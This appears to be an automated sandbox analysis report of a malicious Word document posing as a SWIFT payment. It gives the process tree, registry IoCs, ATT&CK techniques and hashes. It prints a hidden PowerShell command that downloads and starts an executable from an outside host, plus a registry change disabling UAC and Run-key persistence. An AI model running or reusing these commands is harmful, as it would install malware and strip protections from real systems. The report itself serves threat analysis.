PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1056 wrote to memory of 1696	1056	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1328	1496	EXCEL.exe	EXCEL.exe
PID 1496 wrote to memory of 1328	1496	EXCEL.exe	EXCEL.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

EXCEL.exeEXCEL.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EXCEL.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EXCEL.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment_Swift 20210930.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1740

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:340

C:\Users\Admin\AppData\Roaming\EXCEL.exe
"C:\Users\Admin\AppData\Roaming\EXCEL.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
4⤵
- Executes dropped EXE
PID:856

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
4⤵
- Executes dropped EXE
PID:1716

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
4⤵
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:1328

C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
5⤵
PID:596

C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
5⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1836

C:\Windows\SysWOW64\notepad.exe
notepad.exe
6⤵
PID:1368

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
2⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1368

C:\Users\Admin\AppData\Roaming\EXCEL.exe
"C:\Users\Admin\AppData\Roaming\EXCEL.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-NetConnection -TraceRoute twitch.com
4⤵
PID:1352

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
4⤵
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:1696

C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
5⤵
PID:1684

C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
5⤵
PID:828

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1148

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Roaming\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Roaming\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Roaming\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
d4f570ca4668b2659de4e50985d6b942

SHA1
edb1826cd89426c66954e34033ae2bac471874ae

SHA256
f78303dd088ae6ca135c220a6c4907ef103bdfb3afd4ecdc74204c467323ca85

SHA512
2b0ddc24c911b526f28a04ed6c79bf201681cab9e3016b0176bb0a54d6bff2863bc0436bfbcf92c372be7e46d44bc1e560de88bd9f48ba56ad45373ffb901b85

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
d4f570ca4668b2659de4e50985d6b942

SHA1
edb1826cd89426c66954e34033ae2bac471874ae

SHA256
f78303dd088ae6ca135c220a6c4907ef103bdfb3afd4ecdc74204c467323ca85

SHA512
2b0ddc24c911b526f28a04ed6c79bf201681cab9e3016b0176bb0a54d6bff2863bc0436bfbcf92c372be7e46d44bc1e560de88bd9f48ba56ad45373ffb901b85

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
d4f570ca4668b2659de4e50985d6b942

SHA1
edb1826cd89426c66954e34033ae2bac471874ae

SHA256
f78303dd088ae6ca135c220a6c4907ef103bdfb3afd4ecdc74204c467323ca85

SHA512
2b0ddc24c911b526f28a04ed6c79bf201681cab9e3016b0176bb0a54d6bff2863bc0436bfbcf92c372be7e46d44bc1e560de88bd9f48ba56ad45373ffb901b85

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
\Users\Admin\AppData\Local\Temp\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
\Users\Admin\AppData\Roaming\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
\Users\Admin\AppData\Roaming\EXCEL.exe
MD5
cb12b24b0f69225693168e9c35761a1b

SHA1
0f68f676d76e3546d7d625cdb14f0947c59beff5

SHA256
c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535

SHA512
9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

Download Submit
memory/340-57-0x0000000000000000-mapping.dmp

Download
memory/596-119-0x0000000000401364-mapping.dmp

Download
memory/828-121-0x0000000000401364-mapping.dmp

Download
memory/1056-81-0x0000000004C10000-0x0000000004C11000-memory.dmp

Filesize
4KB

Download
memory/1056-69-0x0000000000000000-mapping.dmp

Download
memory/1148-130-0x0000000000000000-mapping.dmp

Download
memory/1148-131-0x000007FEFC461000-0x000007FEFC463000-memory.dmp

Filesize
8KB

Download
memory/1328-110-0x00000000004010B8-mapping.dmp

Download
memory/1352-78-0x0000000000000000-mapping.dmp

Download
memory/1368-63-0x0000000002350000-0x0000000002F9A000-memory.dmp

Filesize
12.3MB

Download
memory/1368-62-0x0000000002350000-0x0000000002F9A000-memory.dmp

Filesize
12.3MB

Download
memory/1368-58-0x0000000000000000-mapping.dmp

Download
memory/1368-127-0x0000000000000000-mapping.dmp

Download
memory/1492-84-0x0000000002382000-0x0000000002384000-memory.dmp

Filesize
8KB

Download
memory/1492-82-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1492-83-0x0000000002381000-0x0000000002382000-memory.dmp

Filesize
4KB

Download
memory/1492-77-0x0000000000000000-mapping.dmp

Download
memory/1496-95-0x0000000000C00000-0x0000000000C4F000-memory.dmp

Filesize
316KB

Download
memory/1496-96-0x0000000000840000-0x0000000000870000-memory.dmp

Filesize
192KB

Download
memory/1496-65-0x0000000000000000-mapping.dmp

Download
memory/1496-71-0x0000000000D20000-0x0000000000D21000-memory.dmp

Filesize
4KB

Download
memory/1496-80-0x0000000004800000-0x0000000004801000-memory.dmp

Filesize
4KB

Download
memory/1548-86-0x0000000000000000-mapping.dmp

Download
memory/1684-116-0x0000000000400000-0x0000000000443000-memory.dmp

Filesize
268KB

Download
memory/1684-117-0x0000000000401364-mapping.dmp

Download
memory/1696-106-0x0000000000400000-0x000000000042C000-memory.dmp

Filesize
176KB

Download
memory/1696-107-0x00000000004010B8-mapping.dmp

Download
memory/1740-56-0x00000000765A1000-0x00000000765A3000-memory.dmp

Filesize
8KB

Download
memory/1740-54-0x00000000709D1000-0x00000000709D3000-memory.dmp

Filesize
8KB

Download
memory/1740-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1740-53-0x0000000072F51000-0x0000000072F54000-memory.dmp

Filesize
12KB

Download
memory/1752-94-0x00000000021F2000-0x00000000021F4000-memory.dmp

Filesize
8KB

Download
memory/1752-92-0x00000000021F0000-0x00000000021F1000-memory.dmp

Filesize
4KB

Download
memory/1752-93-0x00000000021F1000-0x00000000021F2000-memory.dmp

Filesize
4KB

Download
memory/1752-85-0x0000000000000000-mapping.dmp

Download
memory/1836-123-0x0000000000401364-mapping.dmp

Download
memory/1836-124-0x00000000004C0000-0x0000000000613000-memory.dmp

Filesize
1.3MB

Download